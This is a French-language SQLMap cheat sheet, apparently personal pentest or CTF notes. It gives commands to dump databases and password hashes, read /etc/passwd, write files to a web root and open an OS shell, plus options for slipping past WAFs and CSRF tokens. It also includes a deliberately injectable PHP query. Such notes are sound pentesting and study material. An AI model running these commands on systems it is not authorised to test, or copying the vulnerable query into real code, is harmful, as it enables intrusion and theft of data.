#tools #web
SQLMap est un outil d'injection SQL automatisé qui permet de détecter et d'exploiter des vulnérabilités SQL
dans les applications web.
Pour plus de facilité on peut copier une requête curl et remplacé curl par sqlmap.
Ou alors on peut direct copier la requête http burp dans un fichier texte et faire comme ceci :
sqlmap -r [Link] language-bash
sqlmap -u "[Link] language-bash
sqlmap -u "[Link] --dbs
sqlmap -u "[Link] -D <DATABASE_NAME> --tables
sqlmap -u "[Link] -D <DATABASE_NAME> -T <TABLE_NAME> --dump
sqlmap -u "[Link] --random-agent --tamper=<SCRIPT>
sqlmap -u "[Link] --batch
sqlmap -u "[Link] --batch --dbs
sqlmap -u [Link] --data='id=1' --method PUT
sqlmap -u "[Link] --batch -t /tmp/[Link]
sqlmap -u "[Link] --batch --level 5 --risk 3 --dump -T "flag5" --no-
cast
sqlmap -u "[Link] --batch --level 5 --risk 3 --dump -T "flag7" --no-
cast --union-cols=5 --dbms=MySQL --technique=U
-u : URL cible à tester pour l'injection SQL.
--batch remplir automatiquement les inputs utilisateurs plutôt que de demander a chaque fois
--union-cols : le nombre de colonnes pour une injection UNION BASED, exemple --union-cols=3
--technique=U pour une injection UNION BASED
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries
--dbs : Lister toutes les bases de données disponibles.
--dbms=PostgreSQL : spécifier le type de bdd utilisé
-D <DATABASE_NAME> : Spécifier la base de données cible.
--tables : Lister toutes les tables dans cette base de données.
-T <TABLE_NAME> : Spécifier la table à dumper.
--dump : Extraire toutes les données de la table.
--file-read : Lire un fichier du filesystem, exemple : --file-read "/etc/passwd"
--file-write pour écrire un fichier, par exemple : --file-write "[Link]" --file-dest
"/var/www/html/[Link]"
--os-shell
--random-agent : Utiliser des User-Agent aléatoires pour éviter les détections.
--tamper=<SCRIPT> : Utiliser des scripts d'obfuscation pour contourner les WAF.
--parse-errors pour afficher les erreurs
-t stocker toutes les requetes HTTP envoyées et reçues, -t /tmp/[Link]
-v verbosité, par exemple -v 6 pour print toutes les erreurs et les requêtes HTTP
--proxy poru redirigé tout le trafique vers burp
-p id : spécifier le paramètre à injecter
Database Enumeration
--banner
--current-user
--hostname
--current-db
--passwords
--is-dba : teste si l'utilisateur de la db a les droits administrateurs (DBA)
language-bash
sqlmap -u "[Link] --banner --current-user --current-db --is-dba
--tables
-D testdb
--dump
-T table
-C col1,col2
sqlmap -u "[Link] --dump -T users -D testdb language-bash
sqlmap -u "[Link] --dump -T users -D testdb -C name,surname
--where="name LIKE 'f%'"
--schema : dump le schéma de la bdd
--search , exemple : --search -T user , --search -C pass
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' language-shell-session
sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
Réglage de l'Attaque
Composants du Payload
Vecteur : Partie centrale du payload, contenant le code SQL utile à exécuter sur la cible.
Limites : Formations de préfixe et de suffixe utilisées pour l'injection correcte du vecteur dans
l'instruction SQL vulnérable.
Préfixe/Suffixe
Cas Spéciaux : Dans des cas rares, des valeurs de préfixe et de suffixe spéciales sont nécessaires.
Options : Utilisez --prefix et --suffix pour spécifier ces valeurs.
sqlmap -u "[Link]/?q=test" --prefix="%'))" --suffix="-- -" language-bash
Exemple :
Code vulnérable :
language-php
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "'))
LIMIT 0,1";
$result = mysqli_query($link, $query);
Instruction SQL résultante :
language-sql
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT
1,2,VERSION()-- -')) LIMIT 0,1
Niveau/Risque
Par Défaut : SQLMap utilise un ensemble prédéfini de limites et de vecteurs courants.
Options :
--level (1-5, par défaut 1) : Étend les vecteurs et les limites en fonction de leur probabilité de
succès.
--risk (1-3, par défaut 1) : Étend les vecteurs en fonction du risque de causer des problèmes
côté cible.
Verbosité : Utilisez -v 3 ou plus pour voir les différences dans les limites et les payloads utilisés.
sqlmap -u [Link]/?id=1 -v 3 --level=5 language-bash
Comparaison des Payloads :
Niveau et risque par défaut :
sqlmap -u [Link]/?id=1 -v 3 language-bash
Niveau et risque augmentés :
sqlmap -u [Link]/?id=1 --level=5 --risk=3 language-bash
Nombre de Payloads :
Par défaut : Jusqu'à 72 payloads.
Maximum : Jusqu'à 7,865 payloads.
Réglage Avancé
Codes de Statut : Utilisez --code pour fixer la détection basée sur des codes HTTP spécifiques.
Titres : Utilisez --titles pour baser la détection sur le contenu de la balise HTML <title> .
Chaînes : Utilisez --string pour fixer la détection basée sur une valeur de chaîne spécifique.
Texte Seulement : Utilisez --text-only pour supprimer les balises HTML et baser la comparaison sur
le contenu textuel.
Techniques : Utilisez --technique pour spécifier la technique SQLi à utiliser.
--technique=BEU language-bash
Réglage de l'Injection SQL UNION
Colonnes : Utilisez --union-cols pour spécifier le nombre exact de colonnes.
Caractères : Utilisez --union-char pour spécifier des valeurs de remplissage alternatives.
Clause FROM : Utilisez --union-from pour définir un appendice requis pour la requête UNION.
--union-cols=17 language-bash
--union-char='a'
--union-from=users
Recommandations
Les utilisateurs réguliers sont invités à ne pas toucher aux options avancées en raison du temps de
détection accru.
Dans des cas spéciaux, comme les pages de connexion, augmenter le niveau de risque peut être
nécessaire.
Contournement des protections des applications Web
Contournement des jetons Anti-CSRF
Problème : Les jetons Anti-CSRF protègent contre l’automatisation en exigeant des jetons valides.
Solution : SQLMap utilise l’option --csrf-token pour détecter et mettre à jour automatiquement les
valeurs de jetons dans les requêtes.
Contournement des valeurs uniques
Problème : Les valeurs uniques dans les paramètres peuvent bloquer l’automatisation.
Solution : SQLMap utilise l’option --randomize pour s'assurer que chaque requête contient une valeur
unique pour certains paramètres.
Contournement des paramètres calculés
Problème : Certains paramètres sont dérivés d'autres valeurs (ex : hachages).
Solution : SQLMap utilise l’option --eval pour calculer dynamiquement les valeurs des paramètres
avec du code Python.
Dissimuler l’adresse IP
Problème : L’adresse IP peut être mise sur liste noire.
Solution : Utilisez --proxy pour passer par un proxy ou --tor pour l'anonymat via le réseau Tor.
Contournement des pare-feux d'applications Web (WAF)
Problème : Les WAF bloquent les requêtes malveillantes.
Solution : SQLMap détecte les WAF et peut ignorer cette détection avec --skip-waf .
Contournement de la mise sur liste noire de l'agent utilisateur
Problème : L’agent utilisateur par défaut peut être bloqué.
Solution : Utilisez --random-agent pour randomiser la chaîne d'agent utilisateur.
Scripts de modification (Tamper)
Objectif : Modifier les charges SQL pour contourner les WAF/IPS.
Scripts courants : between , randomcase , space2comment , etc.
Utilisation : Enchaînez les scripts avec --tamper pour des contournements avancés.
Contournements divers
Encodage en transfert fragmenté : Utilisez --chunked pour diviser le corps des requêtes POST,
contournant les filtres de mots-clés.
Pollution des paramètres HTTP (HPP) : Divisez les charges utiles sur plusieurs valeurs de paramètres
pour éviter la détection.
--tamper : --tamper=between,randomcase
Tamper-Script Description
0eunion Replaces instances of UNION with e0UNION
base64encode Base64-encodes all characters in a given payload
between Replaces greater than operator ( > ) with NOT BETWEEN 0 AND # and
equals operator ( = ) with BETWEEN # AND #
commalesslimit Replaces (MySQL) instances like LIMIT M, N with LIMIT N OFFSET M
counterpart
equaltolike Replaces all occurrences of operator equal ( = ) with LIKE counterpart
halfversionedmorekeywords Adds (MySQL) versioned comment before each keyword
modsecurityversioned Embraces complete query with (MySQL) versioned comment
modsecurityzeroversioned Embraces complete query with (MySQL) zero-versioned comment
percentage Adds a percentage sign ( % ) in front of each character (e.g. SELECT ->
%S%E%L%E%C%T)
plus2concat Replaces plus operator ( + ) with (MsSQL) function CONCAT() counterpart
randomcase Replaces each keyword character with random case value (e.g. SELECT -
> SEleCt)
space2comment Replaces space character ( ) with comments `/
space2dash Replaces space character ( ) with a dash comment ( -- ) followed by a
random string and a new line ( \n )
space2hash Replaces (MySQL) instances of space character ( ) with a pound
character ( # ) followed by a random string and a new line ( \n )
space2mssqlblank Replaces (MsSQL) instances of space character ( ) with a random blank
character from a valid set of alternate characters
space2plus Replaces space character ( ) with plus ( + )
space2randomblank Replaces space character ( ) with a random blank character from a valid
set of alternate characters
symboliclogical Replaces AND and OR logical operators with their symbolic counterparts
( && and \| )
versionedkeywords Encloses each non-function keyword with (MySQL) versioned comment
versionedmorekeywords Encloses each keyword with (MySQL) versioned comment
Résumé de la Description de la Sortie de SQLMap
Description des Messages de Journal
Contenu de l'URL est stable
Message de Journal: "target URL content is stable"
Description: Indique qu'il n'y a pas de changements majeurs entre les réponses pour des requêtes
identiques continues, aidant à repérer les différences causées par les tentatives potentielles de SQLi.
Le paramètre semble être dynamique
Message de Journal: "GET parameter 'id' appears to be dynamic"
Description: Suggère que les changements apportés à la valeur du paramètre entraînent un
changement dans la réponse, indiquant un lien potentiel avec une base de données.
Le paramètre pourrait être injectable
Message de Journal: "heuristic (basic) test shows that GET parameter 'id' might be injectable
(possible DBMS: 'MySQL')"
Description: Indique une vulnérabilité potentielle d'injection SQL basée sur les erreurs de DBMS, mais
ce n'est pas une preuve définitive.
Le paramètre pourrait être vulnérable aux attaques XSS
Message de Journal: "heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-
site scripting (XSS) attacks"
Description: Test heuristique rapide pour les vulnérabilités XSS, utile dans les tests à grande échelle.
Le DBMS back-end est '...'
Message de Journal: "it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads
specific for other DBMSes? [Y/n]"
Description: Réduit les charges utiles à un DBMS spécifique s'il est détecté, réduisant ainsi la portée
des tests.
Valeurs de niveau/risque
Message de Journal: "for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]"
Description: Option pour étendre les tests pour un DBMS spécifique au-delà des tests réguliers.
Valeurs réfléchissantes trouvées
Message de Journal: "reflective value(s) found and filtering out"
Description: Avertissement concernant les parties des charges utiles trouvées dans la réponse, gérées
par les mécanismes de filtrage de SQLMap.
Le paramètre semble être injectable
Message de Journal: "GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or
HAVING clause' injectable (with --string="luther")"
Description: Indique une injectabilité potentielle avec une chance de faux positifs, en utilisant une
chaîne constante pour distinguer les réponses.
Modèle statistique de comparaison basée sur le temps
Message de Journal: "time-based comparison requires a larger statistical model, please wait...........
(done)"
Description: Modèle statistique utilisé pour distinguer les réponses régulières et retardées dans des
environnements à haute latence.
Extension des tests de technique d'injection de requête UNION
Message de Journal: "automatically extending ranges for UNION query injection technique tests as
there is at least one other (potential) technique found"
Description: Étend le nombre de requêtes pour l'injection SQL UNION si une autre technique
potentielle est trouvée.
La technique semble être utilisable
Message de Journal: "ORDER BY' technique appears to be usable. This should reduce the time needed
to find the right number of query columns. Automatically extending the range for current UNION query
injection technique test"
Description: Utilise la technique ORDER BY pour reconnaître rapidement le nombre correct de
colonnes UNION.
Le paramètre est vulnérable
Message de Journal: "GET parameter 'id' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]"
Description: Indique qu'un paramètre est vulnérable aux injections SQL, avec une option pour
continuer à tester d'autres paramètres.
SQLMap a identifié des points d'injection
Message de Journal: "sqlmap identified the following injection point(s) with a total of 46 HTTP(s)
requests:"
Description: Liste tous les points d'injection exploitables de manière prouvée avec le type, le titre et
les charges utiles.
Données enregistrées dans des fichiers texte
Message de Journal: "fetched data logged to text files under
'/home/user/.sqlmap/output/[Link]'"
Description: Indique l'emplacement du système de fichiers local pour stocker les journaux, les
sessions et les données de sortie, réduisant ainsi les requêtes cibles futures.